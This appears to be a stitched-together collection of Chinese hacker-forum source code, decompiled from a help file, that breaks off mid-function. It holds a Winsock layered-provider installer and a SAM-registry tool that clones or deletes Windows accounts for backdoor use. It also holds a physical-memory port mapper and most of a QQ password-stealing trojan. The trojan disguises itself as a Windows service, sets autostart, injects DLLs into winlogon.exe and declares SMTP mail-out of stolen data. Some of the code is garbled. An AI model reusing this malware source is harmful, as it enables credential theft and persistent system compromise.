invoke GlobalFree,protoinfo

invoke _GetFilter ;安装服务提供者后重新列举
nop

xor edi,edi
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<totalprotos

lea ebx,[esi].ProviderId
invoke _CmpGUID,1,ebx
.if eax!=0
invoke MessageBoxA,0,offset findspi,offset findspi,1

lea ebx,ipid
mov ecx,[esi].dwCatalogEntryId
mov [ebx],ecx
assume esi:nothing
jmp @@exitlist
;.else
; invoke MessageBoxA,0,offset nofindspi,offset nofindspi,1
.endif

add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
assume esi:nothing
@@exitlist:
;---重新设置链
nop
.if udpip==TRUE
mov esi,offset udpinfo
assume esi:ptr WSAPROTOCOL_INFOW
lea ebx,[esi].szProtocol
invoke RtlMoveMemory,ebx,offset udprood,18 ;设置updSPI名字
.if [esi].ProtocolChain.ChainLen==1 ;BASE_PROTOCOL
lea ebx,[esi].ProtocolChain.ChainEntries[4] ;udpchaininfo.ProtocolChain.ChainEntries[1]=udporigcataid
lea eax,udpid
mov ecx,[eax]
mov [ebx],ecx

.else
xor edi,edi
.while edi<[esi].ProtocolChain.ChainLen
mov edx,edi
imul edx,4
lea eax,[esi].ProtocolChain.ChainEntries[edx]
mov ebx,edx
add ebx,4
mov ebx,[eax]

inc edi
.endw
.endif

inc [esi].ProtocolChain.ChainLen ;inc dword ptr [esi+??]
lea ebx,ipid
mov eax,[ebx]
mov [esi].ProtocolChain.ChainEntries,eax ;自已的分层提供者一定要在第一个
invoke RtlMoveMemory,offset chainarray,offset udpinfo,sizeof WSAPROTOCOL_INFOW
assume esi:nothing
.endif
;mov esi,offset filterchainguid
;assume esi:ptr GUID
; mov [esi].Data1,1h
; mov [esi].Data2,1abbh
; mov [esi].Data3,2abbh
; mov [esi].Data4,01h
;assume esi:nothing
invoke WSCInstallProvider,offset filterchainguid,offset spipath,offset chainarray,1,offset errorcode
.if EAX==SOCKET_ERROR
invoke StdOut,offset error4
.endif
invoke GlobalFree,protoinfo
;---重新排列服务提供者
nop
invoke _GetFilter
mov ebx,totalprotos
imul ebx,4
invoke GlobalAlloc,GPTR,ebx
.if eax==NULL
invoke StdOut,offset nomem
ret
.else
mov cataentries,eax
.endif

;---把自已的两个服务提供者放在最顶端
nop
xor edi,edi
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<totalprotos

lea ebx,[esi].ProviderId
invoke _CmpGUID,1,ebx
.if eax!=0
mov ebx,cataentries
mov eax,cataindex
imul eax,4
add ebx,eax
inc cataindex
mov ecx,[esi].dwCatalogEntryId
mov [ebx],ecx
.endif
lea ebx,[esi].ProviderId
invoke _CmpGUID,0,ebx
.if eax!=0
mov ebx,cataentries
mov eax,cataindex
imul eax,4
add ebx,eax
inc cataindex
mov ecx,[esi].dwCatalogEntryId
mov [ebx],ecx
.endif

add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw
;--------把其它的服务提供者排在后面

xor edi,edi
mov esi,protoinfo
assume esi:ptr WSAPROTOCOL_INFOW
.while edi<totalprotos

lea ebx,[esi].ProviderId
invoke _CmpGUID,1,ebx
.if eax==0
lea ebx,[esi].ProviderId
invoke _CmpGUID,0,ebx
.if eax==0
nop
mov ebx,cataentries
mov eax,cataindex
imul eax,4
add ebx,eax
inc cataindex
mov ecx,[esi].dwCatalogEntryId
mov [ebx],ecx
.endif
.endif

add esi,sizeof WSAPROTOCOL_INFOW
inc edi
.endw

invoke WSCWriteProviderOrder,cataentries,totalprotos
.if eax!=ERROR_SUCCESS
invoke StdOut,offset error5
.else
invoke StdOut,offset installok
.endif

invoke GlobalFree,protoinfo

ret
_InstallFilter endp
start:

invoke _InstallFilter
;invoke _GetFilter
invoke ExitProcess,0
end start
安装用的是标准的安装方式,只是GUID是自已定义的,没用GETUID什么的那几个API


代码：克隆/删除任意用户（RingZ_CDUser）
作者：dahubaobao
主页：http://www.ringz.org
邮件：dahushibaobao@vip.sina.com
QQ：382690
EXE在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/RingZ_CDUser.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！
=====================================================================

#include <windows.h>
#include <string.h>
#include <stdio.h>
char name[50][30];
int KeyN=0;
//OpenKey()，ViewUser()，ListUser()函数用到的变量
void Sid (char *sid);
//删除安全标识符
void User
        (char *user);
//删除用户名
void OpenKey (char *key);
int ViewUser
        (char *key);
int ListUser (void);
//显示用户名对应的安全标识符
int Clone
        (char *C_sid);
//克隆帐户
void Usage (void);
//帮助信息
void main (int argc, char *argv[])
{
char
        SID[10];
char C_Sid[10];
char USER[40];
int n;
for (n=1;n<argc;n++)
{
if (argv[n][0]
        == '-')
{
switch(argv[n][1])
{
case '?':
case
        'h':
case 'H':Usage();
break;
case 'l':
case 'L':ListUser();
break;
case 'c':
case 'C':printf("Please Input Clone SID:");
gets(C_Sid);
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error\n");
break;
case 's':
case 'S':printf("Please Input Delete SID:");
gets(SID);
if (strlen(SID)<=10)
Sid(SID);
else
printf("Error\n");
break;
case 'u':
case 'U':printf("Please Input
        Delete USER:");
gets(USER);
if
        (strlen(USER)<=40)
User(USER);
else
printf("Error\n");
break;
}
}
}
}
void Sid (char *sid)
{
HKEY
        hkey;
DWORD ret;
char C_sid[10];
ZeroMemory(C_sid,10);
strcpy(C_sid,"00000");
        //填充SID中的前5位
strcat(C_sid,sid); //传递剩余3位，并继续填充
//打开注册表，成功返回值0（SUCCESS）
ret=RegOpenKey(HKEY_LOCAL_MACHINE,
        //根键名或已打开项的句柄
"SAM\\SAM\\Domains\\Account\\Users\\",
        //要打开的项名
&hkey); //装载打开项的句柄
if (ret==ERROR_SUCCESS)
;
else
return 0;
//删除SID，成功返回值0（SUCCESS）
ret=RegDeleteKey(hkey,C_sid);
if (ret==ERROR_SUCCESS)
printf("Success Delete Key(SID)\n"); //打印成功消息
else
{
printf("Delete Key FAIL(SID)\n"); //打印失败消息
return 0;
}
RegCloseKey(hkey); //关闭以打开的注册表项
}
void User (char *user)
{
HKEY
        hkey;
DWORD ret;
char C_user[40];
ZeroMemory(C_user,40);
strcpy(C_user,"");
strcat(C_user,user);
ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\",
&hkey);
if (ret==ERROR_SUCCESS)
;
else
return 0;
ret=RegDeleteKey(hkey,C_user);
if (ret==ERROR_SUCCESS)
printf("Success
        Delete Key(USER)\n");
else
{
printf("Delete Key
        FAIL(USER)\n");
return 0;
}
RegCloseKey(hkey);
}
void OpenKey (char *key)
{
HKEY
        hkey;
DWORD dwIndex=0,lpcbname=100,ret=0;
char
        T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数，欲打开的注册表项
0, //未用，设为0即可
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
//它们的组合描述了允许对这个项进行哪些操作
&hkey);
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex：欲获取的子项的索引。第一个子项的索引编号为零
//T_name：用于装载指定索引处项名的一个缓冲区
//&lpcbname：指定一个变量，用于装载lpName缓冲区的实际长度（包括空字符）。
//一旦返回，它会设为实际装载到lpName缓冲区的字符数量
//NULL：未用，设为零
//NULL：项使用的类名
//NULL：用于装载lpClass缓冲区长度的一个变量
//&lpftlast：FILETIME，枚举子项上一次修改的时间
strcat(name,T_name);
ZeroMemory(T_name,100);
lpcbname=100;
}
RegCloseKey(hkey);
//拼接用户名
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}
int ViewUser (char *key)
{
HKEY
        hkey;
DWORD lpType=0,ret;
char S_name[10];

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
RegQueryValueEx(hkey,NULL,NULL,
&lpType,NULL,NULL);
//NULL：要获取值的名字
//NULL：未用，设为零
//&lpType：用于装载取回数据类型的一个变量
//NULL：用于装载指定值的一个缓冲区
//NULL：用于装载lpData缓冲区长度的一个变量
wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);
return 1;
}
int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};
OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");
for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return
        1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4",
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret=
        RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”：要设置值的名字
//0：未用，设为零
//REG_BINARY：要设置的数量类型
//lpDataF：包含数据的缓冲区中的第一个字节
//SizeF：lpData缓冲区的长度
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);
if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
else
{
printf("Clone User FAIL\n");
return 0;
}
RegCloseKey(hkey);
RegCloseKey(C_hkey);
return 1;
}
void Usage (void)
{
fprintf(stderr,"===============================================================================\n"
"\t 克隆/删除任意用户\n"
"\t环境：Win2K Adv Server + Visual C++ 6.0\n"
"\t作者：dahubaobao\n"
"\t主页：www.RingZ.org\n"
"\tOICQ：382690\n"
"\t邮件：382690@qq.com\n"
"\t声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！\n"
"\n"
"\t使用方法：\n"
"\t\"-H\"：帮助信息\n"
"\t\"-L\"：列出系统中用户对应的SID\n"
"\t\"-C\"：克隆帐户，输入SID即可\n"
"\t\"-S\"：删除SID\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t\"-U\"：删除用户名\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项：\n"
"\t由于SID的前5位都是\"0\"，所以不必输入，直接输入最后三位\n"
"\t例如：000001F5，则直接输入1F5，即可将Guest帐户删除\n"
"\t使用Regedt32将SAM键修改为Administrators可以访问\n"
"\t使用-C参数后，会弹出\"Clone SID：\"提示符，只需输入相应的SID即可克隆\n"
"\t使用-S参数后，会弹出\"Delete SID：\"提示符，只需输入相应的SID即可删除\n"
"\t使用-U参数后，会弹出\"Delete USER：\"提示符，只需输入相应的用户名即可删除\n"
"===============================================================================\n");
}


#include
#include
#include
#include
#include
#include
#include
#pragma comment ( lib, "ws2_32.lib" )
#define nt_handle_list　16
#define max_handle_list_buf 0x200000
typedef struct _handleinfo
{
ushort dwpid;
ushort
        creatorbacktraceindex;
byte　 objtype;
byte　 handleattributes;
ushort hndloffset;
dword　dwkeobject;
ulong　grantedaccess;
}handleinfo, *phandleinfo;
typedef struct _io_status_block {
dword status;
ulong information;
} io_status_block,
        *pio_status_block;
typedef struct _lsa_unicode_string {
ushort
        length;
ushort maximumlength;
pwstr　buffer;
}
        lsa_unicode_string, *plsa_unicode_string;
typedef lsa_unicode_string
        unicode_string, *punicode_string;
typedef struct _object_attributes
        {
ulong length;
handle rootdirectory;
unicode_string
        *objectname;
ulong attributes;
psecurity_descriptor
        securitydescriptor;
psecurity_quality_of_service
        securityqualityofservice;
} object_attributes,*pobject_attributes;
// 申明ntquerysysteminformation()函数
typedef dword (callback*
        ntquerysysteminformation)( dword, pdword, dword, pvoid );
ntquerysysteminformation ntquerysysteminformation;
typedef void
        (callback* rtlinitunicodestring)(punicode_string,pcwstr);
rtlinitunicodestring rtlinitunicodestring;
typedef dword
        (callback* zwopensection)(pvoid, dword,pobject_attributes);
zwopensection zwopensection;
typedef void(callback*
        initializeobjectattributes)(pobject_attributes,punicode_string,ulong,handle,psecurity_descriptor);
initializeobjectattributes initializeobjectattributes;
typedef
        dword (callback*
        zwopenfile)(phandle,dword,pobject_attributes,pio_status_block,ulong,ulong);
zwopenfile zwopenfile;
dword getmap(phandleinfo get1,lpvoid
        addr,handle pm,char * buf)
{
dword readset;
lpvoid pmaddr1;
int i;
readset = (get1->dwkeobject>>0x16);
readset
        = *((lpdword)((dword)addr + 4*readset));
if((readset&0x000000ff)==1)
{
return 0;
}
else
{
if((readset&0x000000ff)==0x80)
{
pmaddr1 =
        mapviewoffile(pm,4,0,readset&0xfffff000,0x1000);
readset =
        (get1->dwkeobject>>0x0c) & 0x3ff;
readset =
        *((lpdword)((dword)pmaddr1 + 4*readset));
unmapviewoffile(pmaddr1);
readset = readset & 0x0fffff000;
}
else
{
readset=(readset&0xfffff000)+(get1->dwkeobject&0x003ff000);
}
pmaddr1 =mapviewoffile(pm,4,0,readset,0x1000);
if(pmaddr1!=null)
{
readset =
        get1->dwkeobject&0x00000fff;
readset =
        (dword)pmaddr1+readset;
for(i=0;i 　　buf[i] = *((char *)(readset +
        i));
unmapviewoffile(pmaddr1);
}
else
{
return 0;
}
}
return readset;
}
int main( )
{
dword readset1;
dword readset2;
dword readset3;
overlapped la;
hmodule hntdll = null;
dword dwnumentries;
phandleinfo phandleinfo;
handle htcp;
handle pmy;
handle
        hudp;
handle myhand;
handle h1=null;
hntdll = loadlibrary(
        "ntdll.dll" );
dword status;
lpvoid pmaddr;
token_privileges
        newstate;
dword dwnumbytes = max_handle_list_buf;
pdword
        pdwhandlelist;
pdword pdwhandinfo;
dword dwnumbytesret;
handle htoken;
bool isok;
unicode_string dn;
io_status_block ch3;
int port1;
int port2;
handle hproc;
wchar_t * ch1 = l"\\device\\tcp";
wchar_t * ch2 = l"\\device\\udp";
object_attributes
        ofs;
dword i;
dword p=0;
char buf1[0x70];
char
        buf2[0x70];
char buf3[0x70];
char in[0x18];
char in1[0x18];
char out[0x38];
char out1[0x30];
phandleinfo tcpdnum;
phandleinfo udpdnum;
if ( !hntdll )
{
printf(
        "loadlibrary( ntdll.dll ) error:%d\n", getlasterror() );
return
        false;
}
ntquerysysteminformation = (ntquerysysteminformation)
getprocaddress( hntdll, "ntquerysysteminformation");
rtlinitunicodestring = (rtlinitunicodestring)
getprocaddress(
        hntdll, "rtlinitunicodestring");
zwopensection = (zwopensection)
getprocaddress( hntdll, "zwopensection");;
initializeobjectattributes = (initializeobjectattributes)
getprocaddress( hntdll, "initializeobjectattributes");
zwopenfile = (zwopenfile)
getprocaddress( hntdll,
        "zwopenfile");;
rtlinitunicodestring(&dn,l"\\device\\physicalmemory");
object_attributes udm= {
sizeof(object_attributes),　　　　　//
        length
null,　　　　　　　　　　　　　　　 // rootdirectory
&dn,　　　　　　　　　　　　　　　 // objectname
0,　　　　　　　　　　　　　　　　　//
        attributes
null,　　　　　　　　　　　　　　　 // securitydescriptor
null,　　　　　　　　　　　　　　　 // securityqualityofservice
};
status
        = zwopensection(&h1,section_map_read,&udm);
if(status == 0)
{
pmy = getcurrentprocess();
pmaddr
        =mapviewoffile(h1,4,0,0x30000,0x1000);
newstate.privilegecount=1;
newstate.privileges[0].attributes=2;
newstate.privileges[0].luid.highpart=0;
newstate.privileges[0].luid.lowpart=0;
isok=lookupprivilegevalue(0,se_debug_name,&newstate.privileges[0].luid);
isok=openprocesstoken(pmy,0x20,&htoken);
isok=adjusttokenprivileges(htoken,0,&newstate,0x10,0,0);
closehandle(htoken);
rtlinitunicodestring(&dn,ch1);
ofs.securitydescriptor = 0;
ofs.objectname = &dn;
ofs.length =0x18;
ofs.rootdirectory = 0;
ofs.attributes
        =0x40;
ofs.securityqualityofservice =0;
status=zwopenfile(&htcp,0x100000,&ofs,&ch3,3,0);
rtlinitunicodestring(&dn,ch2);
ofs.objectname = &dn;
status=zwopenfile(&hudp,0x100000,&ofs,&ch3,3,0);
pdwhandlelist = (pdword)malloc(dwnumbytes);
pdwhandinfo =
        (pdword)malloc(2048);
dwnumbytesret = 0x10;
isok =
        (*ntquerysysteminformation)(0x10,pdwhandlelist,dwnumbytes,&dwnumbytesret);
if( !isok)
{
dwnumentries = pdwhandlelist[0];
phandleinfo = (phandleinfo)( pdwhandlelist + 1 );
for (i = 0; i
        {
if(phandleinfo->dwpid == getcurrentprocessid() &&
        phandleinfo->hndloffset ==(int)htcp)
{
tcpdnum =
        phandleinfo;
break;
}
phandleinfo++;
}
phandleinfo = (phandleinfo)( pdwhandlelist + 1 );
for (i = 0; i
        {
if(phandleinfo->dwpid == getcurrentprocessid() &&
        phandleinfo->hndloffset ==(int)hudp)
{
udpdnum =
        phandleinfo;
break;
}
phandleinfo++;
}
zeromemory(buf1,0x70);
zeromemory(buf2,0x70);
readset1 =
        getmap(tcpdnum,pmaddr,h1,buf1);
if(readset1==0)
{
printf("map tcp faile\n");
return 0;
}
readset2
        = getmap(udpdnum,pmaddr,h1,buf2);
if(readset2==0)
{
printf("map udp faile\n");
return 0;
}
la.hevent
        = createevent(0,1,0,0);;
la.internal = 0;
la.internalhigh=0;
la.offset = 0;
la.offsethigh = 0;
phandleinfo =
        (phandleinfo)( pdwhandlelist + 1 );
for (i = 0; i 　 {
zeromemory(buf3,0x70);
if(phandleinfo->objtype ==
        tcpdnum->objtype)
{
readset3 =
        getmap(phandleinfo,pmaddr,h1,buf3);
if(readset3==0)
{
phandleinfo++;
continue;
}
if(buf3[4]==buf1[4] && buf3[5]==buf1[5]&&
        buf3[6]==buf1[6]&& buf3[7]==buf1[7])
{
if((buf3[16]==1 || buf3[16]==2) && buf3[17]==0 &&
        buf3[18]==0 && buf3[19]==0)
{
hproc =
        openprocess(0x40,0,phandleinfo->dwpid);
if(hproc==null)
{
phandleinfo++;
continue;
}
duplicatehandle(hproc,(handle)phandleinfo->hndloffset,pmy,&myhand,0,0,2);
closehandle(hproc);
if(myhand==null)
{
phandleinfo++;
continue;
}
zeromemory(out1,0x30);
zeromemory(out,0x38);
zeromemory(in,0x18);
zeromemory(in1,0x18);
in[0x10] = 4;
in1[0x10]=3;
if(buf3[16]==2)
{
p = 0;
isok =
        deviceiocontrol(myhand,0x210012,&in,0x18,&out,0x38,&p,&la);
if(isok==false)
{
phandleinfo++;
continue;
}
}
isok =
        deviceiocontrol(myhand,0x210012,&in1,0x18,&out1,0x30,&p,&la);
if(isok)
{
port1 = out1[12];
if(port1
                 port1 = 256 + port1;
port1 = port1*256;
port2 =
        out1[13];
if(port2 　　　　 port1 = port1 + 256 + port2;
else
port1 = port1 + port2;
printf("tcp　　　　pid:%d;
        port:%d\n",phandleinfo->dwpid,port1);
}
closehandle(myhand);
}
}
}
phandleinfo++;
}
phandleinfo = (phandleinfo)(
        pdwhandlelist + 1 );
for (i = 0; i 　 {
zeromemory(buf3,0x70);
if(phandleinfo->objtype ==
        udpdnum->objtype)
{
readset3 =
        getmap(phandleinfo,pmaddr,h1,buf3);
if(readset3==0)
{
phandleinfo++;
continue;
}
if(buf3[4]==buf2[4] && buf3[5]==buf2[5]&&
        buf3[6]==buf2[6]&& buf3[7]==buf2[7])
{
if((buf3[16]==1 || buf3[16]==2) && buf3[17]==0 &&
        buf3[18]==0 && buf3[19]==0)
{
hproc =
        openprocess(0x40,0,phandleinfo->dwpid);
if(hproc==null)
{
phandleinfo++;
continue;
}
duplicatehandle(hproc,(handle)phandleinfo->hndloffset,pmy,&myhand,0,0,2);
closehandle(hproc);
if(myhand==null)
{
phandleinfo++;
continue;
}
zeromemory(out1,0x30);
zeromemory(out,0x38);
zeromemory(in,0x18);
zeromemory(in1,0x18);
in[0x10] = 4;
in1[0x10]=3;
if(buf3[16]==2)
{
p = 0;
isok =
        deviceiocontrol(myhand,0x210012,&in,0x18,&out,0x38,&p,&la);
if(isok==false)
{
phandleinfo++;
continue;
}
}
isok =
        deviceiocontrol(myhand,0x210012,&in1,0x18,&out1,0x30,&p,&la);
if(isok)
{
port1 = out1[12];
if(port1
                 port1 = 256 + port1;
port1 = port1*256;
port2 =
        out1[13];
if(port2 　　　　 port1 = port1 + 256 + port2;
else
port1 = port1 + port2;
printf("udp　　　　pid:%d;
        port:%d\n",phandleinfo->dwpid,(unsigned short)port1);
}
closehandle(myhand);
}
}
}
phandleinfo++;
}
closehandle(la.hevent);
free(pdwhandlelist);
free(pdwhandinfo);
closehandle(h1);
closehandle(pmy);
closehandle(htcp);
closehandle(hudp);
unmapviewoffile(pmaddr);
}
else
printf("error open handlelist\n");
}
else
printf("error
        open physcalmemory\n");
return true;
}

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download
        ChmDecompiler at : http://www.zipghost.com/


//这个是包含要用到的函数和结构的说明的头文件
/*---------------------------------------------------------------------
//GQPSvr.h
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.7
---------------------------------------------------------------------*/
#include
//---------------------------------------------------------------------
//判断系统版本，9x返回1，NT、2000、xp、2003返回2，其它返回0
int GetOsVer(void);

//---------------------------------------------------------------------
//复制自身到系统目录
//pAim:[in,out],初始为存放目标文件名缓冲区的指针，
//函数向缓冲区返回完整路径的目标文件名
//成功返回0，否则返回非0
int CopySelfToSys(char
        *pAim);

//---------------------------------------------------------------------
//加入注册表自启动项，KeyName为键名，KeyValue为键值
void RegStart(const char
        *KeyName, const char *KeyValue);

//---------------------------------------------------------------------
//为当前进程增加指定的特权，Name为特权名，成功返回0，失败返回1
int AddPrivilege(const char
        *Name);

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
//成功返回0，失败返回1
int
        InjectDll(const char *FullName, const DWORD Pid);

/*---------------------------------------------------------------------
功能：得到进程名对应的Pid
要求：win2000以上系统，链接时需要psapi.lib
返回值：未找到则返回0，否则返回第一个符合条件的pid
说明：因为可能有相同进程名的多个实例存在，所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL，如果aPid为NULL，函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024]);

//---------------------------------------------------------------------
//通过需要身份验证的smtp服务器发送邮件的函数
typedef struct _SMTPINFO
{
char SmtpSrvName[32];
char Port[7];
char UserName[16];
char Password[16];
char From[32];
char To[32];
char
        Subject[32];
char Msg[64];

}SMTPINFO;

int SendMail(const SMTPINFO *psmtpinfo);

/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口，
返回和lstyle样式相同的窗口句柄，如果没有找到，返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle);

//---------------------------------------------------------------------
//得到QQ密码的函数
DWORD WINAPI GetQQPass(void);
//---------------------------------------------------------------------

//主程序
/*---------------------------------------------------------------------
//GQPSvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include "GQP_Data.h"
#include
        "Plus_Data.h"
#include
#include
#include
//---------------------------------------------------------------------
//Global constant
//服务显示名称
const char DISPLAYNAME[33] =
        "Windows Management Service";
//复制到系统的文件名
const char
        SRVFILENAME[13] = "Winms.exe";
//要插入的进程名
const char DESTPROC[19]
        = "winlogon.exe";
//互斥量
const char *pchMyMutex = "sjdf ^-^";
//dll文件名
const char *GQP_Dll_Name = "\\nt_gqp_dll.dll";
const char
        *Plus_Dll_Name = "\\nt_plus_dll.dll";
//9x下写入注册表自启动项的键名
const char *pchStartName = "GQP";
//---------------------------------------------------------------------
//Glabal variable
const char SERVICENAME[9] = "winms";
SERVICE_STATUS
        MyServiceStatus;
SERVICE_STATUS_HANDLE
        MyServiceStatusHandle;
char achAim[MAX_PATH + 1];
int WillStop =
        0;

//---------------------------------------------------------------------
//Function declaration
void  MyServiceStart (int argc, char
        *argv[]);
void  MyServiceCtrlHandler (DWORD opcode);
DWORD
        MyWrokThread(void);
//---------------------------------------------------------------------
//Function definition
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR
        lpCmdLine,
int       nCmdShow)
{
//判断系统版本
int OsVer = GetOsVer();

//如果是9x系统，把自己注册为
//服务程序，用于隐藏自己，并开始监视QQ登录

if (OsVer == 1)
{
//准备复制到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);

//如果复制成功，说明自身没有在系统目录运行
//那么需要启动系统目录下的实例，然后自己退出
if (!CopySelfToSys(achAim))
{
WinExec(achAim, SW_HIDE);
return 1;
}

//确定只有一个实例存在
CreateMutex(NULL, 0, pchMyMutex);

if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return 1;
}

DWORD (WINAPI
        *RegisterServiceProcess)(DWORD, DWORD);
HMODULE k32 =
        GetModuleHandle("KERNEL32.DLL");

if(k32)
{
RegisterServiceProcess = GetProcAddress(k32,
        "RegisterServiceProcess");

if(RegisterServiceProcess)
{
RegisterServiceProcess(0, 1);
}
}

RegStart(pchStartName, achAim);

//调用获取QQ密码的函数
GetQQPass();

}

//如果是win2000系统，将自己注册为自动启动的系统服务，
//服务的任务是启动后把监视QQ登录窗口的dll插入到winlogon.exe
//进程中，然后就停止
if
        (OsVer == 2)
{

//复制自身到系统目录
ZeroMemory(achAim,
        sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);
CopySelfToSys(achAim);

//如果参数为“-service”就作为服务启动
if
        (strstr(lpCmdLine, "-service") != NULL)
{
SERVICE_TABLE_ENTRY   DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL,
        NULL}
};

if (!StartServiceCtrlDispatcher(
        DispatchTable))
{
return 1;
}

return 0;
}

//否则就安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
return 1;
}

//当作为服务启动时加上“-service”参数
lstrcat(achAim," -service");

if ((newService =
        CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
achAim,
NULL,
        NULL, NULL, NULL, NULL)))

{
//启动服务
char *pra[] =
        {" -service", "\0"};

StartService(newService, 1, (const
        char **)pra);

}

CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;
}

return 0;
}

DWORD MyWorkThread(void)
{
Sleep(3000);

//释放两个dll到系统目录
//释放NT_GQP_DLL.dll

ZeroMemory(achAim, sizeof(achAim));

if
        (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, GQP_Dll_Name);

FILE
        *fp;

if ((fp = fopen(achAim, "wb")) != NULL)
{
//用GQP_Dll_Data1、2、3这么麻烦是因为把dll的数据放到了
//头文件里作为数组形式，不过lcc编译器不支持太多的行，
//所以只好分成三部分了。
fwrite(GQP_Dll_Data1, sizeof(GQP_Dll_Data1), 1, fp);
fwrite(GQP_Dll_Data2, sizeof(GQP_Dll_Data2), 1, fp);
fwrite(GQP_Dll_Data3, sizeof(GQP_Dll_Data3), 1, fp);
fclose(fp);
}

//释放NT_Plus_DLL.dll
ZeroMemory(achAim,
        sizeof(achAim));

if (!GetSystemDirectory(achAim,
        sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, Plus_Dll_Name);

if ((fp =
        fopen(achAim, "wb")) != NULL)
{
fwrite(Plus_DLL_Data1,
        sizeof(Plus_DLL_Data1), 1, fp);
fwrite(Plus_DLL_Data2,
        sizeof(Plus_DLL_Data2), 1, fp);
fwrite(Plus_DLL_Data3,
        sizeof(Plus_DLL_Data3), 1, fp);
fclose(fp);
}

//得到要插入的目标进程的pid
DWORD Pid;

if ((Pid =
        ProcessToPID(DESTPROC, NULL)) != 0)
{
//要插入的dll文件名在释放文件时已经存在DLL_Path中
//插入目标进程
InjectDll(achAim,
        Pid);

}

WillStop = 1;
Sleep(3000);
return 0;
}

void MyServiceStart (int
        argc, char *argv[])
{

